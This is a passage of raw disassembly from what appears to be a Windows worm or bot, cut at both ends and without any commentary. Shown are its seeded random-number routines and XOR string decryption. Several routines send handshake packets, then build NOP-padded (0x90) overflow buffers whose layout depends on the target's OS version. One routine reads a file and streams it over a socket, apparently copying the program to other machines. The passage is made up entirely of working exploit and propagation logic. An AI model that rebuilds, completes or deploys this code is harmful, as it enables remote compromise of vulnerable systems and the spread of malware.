[ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: sub_4167F1+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 ; CryptAcquireContextA push offset dword_41EADC push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE0 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE4 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE8 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EADC, eax add eax, ebx lock xadd dword_41EAE0, eax add eax, ecx lock xadd dword_41EAE4, eax add eax, edx lock xadd dword_41EAE8, eax add eax, esi lock xadd dword_41EADC, eax add eax, edi lock xadd dword_41EAE0, eax add eax, ebp lock xadd dword_41EAE4, eax add eax, esp lock xadd dword_41EAE8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EADC, eax lock xadd dword_41EAE0, eax lock xadd dword_41EAE4, eax lock xadd dword_41EAE8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAE4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAE0, ecx add ecx, edx ror edx, cl lock xadd dword_41EADC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAE8, edx lock xadd dword_41EAE4, ecx lock xadd dword_41EAE0, ebx lock xadd dword_41EADC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EADC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: sub_4167F1+F0p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAF0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAF0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: .data:off_41CCFEo var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: .data:0041CD38o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52+265p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp 